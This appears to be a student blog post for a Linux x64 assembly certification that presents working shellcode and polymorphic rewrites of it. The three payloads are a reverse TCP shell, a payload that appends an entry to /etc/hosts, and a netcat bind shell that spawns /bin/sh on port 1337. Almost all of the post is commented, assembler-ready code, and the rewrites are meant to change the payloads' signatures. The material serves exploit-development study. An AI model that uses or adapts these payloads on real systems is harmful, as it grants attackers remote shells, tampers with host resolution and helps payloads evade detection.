Shellcode Polymorphism Examples (x64)

This blog post shows polymorphic transformation of three Linux Intel x64 shellcodes.

1. Dynamic null-free reverse TCP shell

Link to original shellcode: http://shell-storm.org/shellcode/files/shellcode-907.php

Original shellcode with analysis

push byte 41
pop rax                     ; syscall number 41, int socket(int domain, int type, int protocol)
cdq                         ; zeroing RDX via sign extension
push byte 2
pop rdi                     ; RDI = 2, int domain = PF_INET = 2
push byte 1
pop rsi                     ; RSI = 1, int type = SOCK_STREAM = 1
syscall                     ; invoke system call socket(2, 1, 0)
xchg eax, edi               ; RAX = 2, RDI = fd_num
mov al, 42                  ; RAX = 42
mov rcx, 0x201017fb3150002  ; struct sockaddr -> sa_family=0x0002, sin_port=0xb315, sin_addr=0x201017f
; neg rcx
push rcx
push rsp
pop rsi                     ; RSI points to above constructed struct sockaddr
mov dl, 16                  ; RDX = 0x10(16), socklen_t addrlen
syscall                     ; invoke system call connect(fd_num, {sa_family=AF_INET, sin_port=htons(5555), sin_addr=inet_addr("127.1.1.2")}, 16)
push byte 3                 
pop rsi                     ; initialize counter, first is stderr fd (2)
dup2_loop:
    mov al, 33              ; syscall number 33, int dup2(int oldfd, int newfd)
    dec esi                 ; next descriptor
    syscall                 ; invoke system call dup2(fd_num, [2, 1, 0])
    jnz dup2_loop           ; repeat if ZF not set
cdq                         ; zeroing RDX via sign extension 
mov al, 59                  ; syscall number 59, int execve(const char *filename, char *const argv[], char *const envp[])
push rdx                    ; push zero qword
mov rcx, 0x68732f2f6e69622f ; "hs//nib/"
push rcx                    ; push pointer to "hs//nib/"
push rsp                    ; push pointer to pointer to "hs//nib/" (pointer to argument pointers array)
pop rdi                     ; set char *const argv[]
syscall                     ; invoke system call execve("/bin/sh", pointer to arguments pointers, 0)

This shellcode establishes reverse tcp connection and spawns /bin/sh via execve() system call. Shellcode length is 65 bytes.

Mutated shellcode

; File: shellcode-907_mutated.nasm
; Author: Petr Javorik

global _start

section .text

_start:

    ; push byte 41
    ; pop rax
    ; cdq
    xor rax, rax
    xor rdi, rdi
    add al, 41
    ; push byte 2
    ; pop rdi
    ; push byte 1
    ; pop rsi
    inc sil
    mov dil, sil
    inc dil
    syscall

    ; xchg eax, edi
    xchg rax, rdi
    ; mov al, 42
    add al, 40
    ; mov rcx, 0x201017fb3150002
    ; neg rcx   ; deleted
    mov rcx, 0x201017fb314fffd
    add rcx, 5
    push rcx
    ; push rsp
    ; pop rsi
    mov rsi, rsp
    ; mov dl, 16
    add dl, 16
    syscall

    ; push byte 3
    ; pop rsi
    mov rsi, rdx
    sub sil, 13
    dup2_loop:
        mov al, 33
        dec esi
        syscall
        jnz dup2_loop

    ; cdq
    sub dl, 16
    mov al, 59
    push rdx
    ; mov rcx, 0x68732f2f6e69622f
    mov rcx, 0x66722dafbb54622d
    add rcx, [rsp +8]
    push rcx
    ; push rsp
    ; pop rdi
    mov rdi, rsp
    syscall

Mutated shellcode has size of 82 bytes which is 26% more than original shellcode.

2. Add map in /etc/hosts file

Link to original shellcode: http://shell-storm.org/shellcode/files/shellcode-896.php

Original shellcode with analysis

; File: shellcode-896.nasm
; Author: Osanda Malith Jayathissa

global _start

section .text

_start:

    ; open
    xor rax, rax
    add rax, 2                          ; syscall number 2, int open(const char *pathname, int flags)
    xor rdi, rdi                        ; RDI = 0
    xor rsi, rsi                        ; RSI = 0
    push rsi                            ; push zero qword
    mov r8, 0x2f2f2f2f6374652f          ; "////cte/"
    mov r10, 0x7374736f682f2f2f         ; "stsoh///"
    push r10
    push r8
    add rdi, rsp                        ; RDI points to "/etc//////hosts0x00"
    xor rsi, rsi                        ; not needed
    add si, 0x401                       ; RSI = 0x401, int flags = O_WRONLY|O_APPEND
    syscall                             ; syscall number 2, open("/etc///hosts", O_WRONLY|O_APPEND)

    ; write
    xchg rax, rdi                       ; RDI = fd_num, RAX = pointer to "/etc//////hosts0x00"
    xor rax, rax
    add rax, 1                          ; syscall number 1, ssize_t write(int fd, const void *buf, size_t count)
    jmp data                            ; JMP-CALL-POP

write:

    pop rsi                             ; RSI = pointer to text variable, const void *buf
    mov dl, 19 ; length in rdx          ; RDX = 19, size_t count
    syscall                             ; invoke system call write(fd_num, "127.1.1.1 google.lk", 19)

    ; close
    xor rax, rax
    add rax, 3                          ; syscall number 3, int close(int fd)
    syscall                             ; invoke system call close(fd_num)

    ; exit
    xor rax, rax
    mov al, 60
    xor rdi, rdi                        ; syscall number 60, void exit(int status)
    syscall                             ; invoke system call exit(0)

data:
    call write                          ; push pointer to text variable into the stack
    text db '127.1.1.1 google.lk'

The above shellcode appends text to /etc/hosts file. Shellcode length is 110 bytes.

Mutated shellcode

; File: shellcode-896_mutated.nasm
; Author: Petr Javorik

global _start

section .text

_start:

    ; open
    xor rax, rax
    xor rdi, rdi
    ; add rax, 2
    inc al
    inc al
    ; xor rdi, rdi
    ; xor rsi, rsi
    mov rsi, rdi
    ; push rsi
    push rdi
    push rdi
    ; mov r8, 0x2f2f2f2f6374652f
    ; mov r10, 0x7374736f682f2f2f
    ; push r10
    ; push r8
    mov dword [rsp +8], 0x7374736f
    mov dword [rsp +4], 0x682f2f2f
    mov dword [rsp], 0x6374652f
    ; add rdi, rsp
    mov rdi, rsp
    ; xor rsi, rsi                  ; instruction deleted
    ; add si, 0x401
    xor si, 0x401
    syscall

    ; write
    ; xchg rax, rdi
    ; add rax, 1
    mov rdi, rax
    xor rax, rax
    inc al
    jmp data

write:

    pop rsi
    ; mov dl, 19
    add dl, 19
    syscall

    ; close
    ; xor rax, rax
    ; add rax, 3
    sub al, dl
    add al, 3
    syscall

    ; exit
    ; xor rax, rax                  ; instruction deleted
    ; mov al, 60
    add al, 60
    ; xor rdi, rdi
    sub dil, dil
    syscall

data:
    call write
    text db '127.1.1.1 google.lk'

Mutated shellcode has size of 101 bytes which is 8% less than original shellcode.

3. Shellcode linux/x86-64 bind-shell with netcat

Link to original shellcode: http://shell-storm.org/shellcode/files/shellcode-822.php

Original shellcode uses traditional netcat which is not available on Ubuntu systems by default. I modified the original shellcode so that it uses nc.traditional instead of nc.

Modified (not mutated yet) shellcode with analysis

; File: shellcode-822_nc_traditional.nasm
; Author: Petr Javorik
; Size: 150 bytes


global _start

section .text

_start:

    xor     rdx, rdx                ; RDX = 0, char *const envp[] = NULL

    push rdx
    mov rdi, 0x6c616e6f69746964
    push rdi                        ; push 'lanoitid'
    mov rdi, 0x6172742e636e2f6e
    push rdi                        ; push 'art.cn/n'
    mov rdi, 0x69622f2f2f2f2f2f
    push rdi                        ; push 'ib//////'
    mov rdi, rsp                    ; RDI points to '//////bin/nc.traditional'

    mov rcx, 0x68732f6e69622fff     ; RCX = 'hs/nib/0xff'
    shr rcx, 0x08                   ; RCX = 'hs/nib/'
    push rcx
    mov rcx, rsp                    ; RCX points to '/bin/sh'

    mov rbx, 0x652dffffffffffff     ; RBX = 'e-0xffffffffffff'
    shr rbx, 0x30                   ; RBX = 'e-'
    push rbx
    mov rbx, rsp                    ; RBX points to '-e'

    mov r10, 0x37333331ffffffff     ; R10 = '73310xffffffff'
    shr r10, 0x20                   ; R10 = '7331'
    push r10
    mov r10, rsp                    ; R10 points to '1337'

    mov r9, 0x702dffffffffffff      ; R9 = 'p-0xffffffffffff'
    shr r9, 0x30                    ; R9 = 'p-'
    push r9
    mov r9, rsp                     ; R9 points to '-p'

    mov r8, 0x6c2dffffffffffff      ; R8 = 'l-0xffffffffffff'
    shr r8, 0x30                    ; R8 = 'l-'
    push r8
    mov r8, rsp                     ; R8 points to '-l'

    push rdx                        ;push NULL
    push rcx                        ;push address of '/bin/sh'
    push rbx                        ;push address of '-e'
    push r10                        ;push address of '1337'
    push r9                         ;push address of '-p'
    push r8                         ;push address of '-l'
    push rdi                        ;push address of '/bin/nc.traditional'

    mov rsi, rsp
    mov al, 59
    syscall

The above shellcode opens bind tcp connection on 0.0.0.0 port 1337 and spawns /bin/sh shell after successful connection. The shellcode size is 150 bytes.

Mutated shellcode

The polymorphic version is complete rewrite of previous shellcode using relative RIP indexing.

; File: shellcode-822_nc_traditional_mutated.nasm
; Author: Petr Javorik
; Size: 112 bytes
; Description: execve nc.traditional with relative RIP indexing

global _start

section .text


_start:

    jmp real_start
    data: db '/bin/nc.traditionalA', '-lA', '-pA', '1337A', '-eA', '/bin/shA'

real_start:

    xor     rdx, rdx                ; char *const envp[] = NULL
    lea rdi, [rel data -1]          ; const char *filename = '/bin/nc.traditional'

    push rdx                        ; terminate array of pointers to arguments (char *const argv[])
    lea r9, [rdi +34]
    push r9                         ; push pointer to '/bin/shA'
    mov [rdi +41], dl               ; terminate '/bin/shA' with NULL

    lea r9, [rdi +31]
    push r9                         ; push pointer to '-eA'
    mov [rdi +33], dl               ; terminate '-eA' with NULL

    lea r9, [rdi +26]
    push r9                         ; push pointer to '1337A'
    mov [rdi +30], dl               ; terminate '1337A' with NULL

    lea r9, [rdi +23]
    push r9                         ; push pointer to '-pA'
    mov [rdi +25], dl               ; terminate '-pA' with NULL

    lea r9, [rdi +20]
    push r9                         ; push pointer to '-lA'
    mov [rdi +22], dl               ; terminate '-lA' with NULL

    push rdi                        ; push pointer to '/bin/nc.traditionalA'
    mov [rdi +19], dl                ; terminate '/bin/nc.traditionalA' with NULL

    mov rsi, rsp                    ; point RSI to created char *const argv[]
    mov al, 59                      ; execve syscall, int execve(const char *filename, char *const argv[], char *const envp[]);
    syscall

Mutated shellcode has size of 112 bytes which is 25% less than original nc.traditional shellcode.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Github code

Student ID: SLAE64 – 1629

Leave a Reply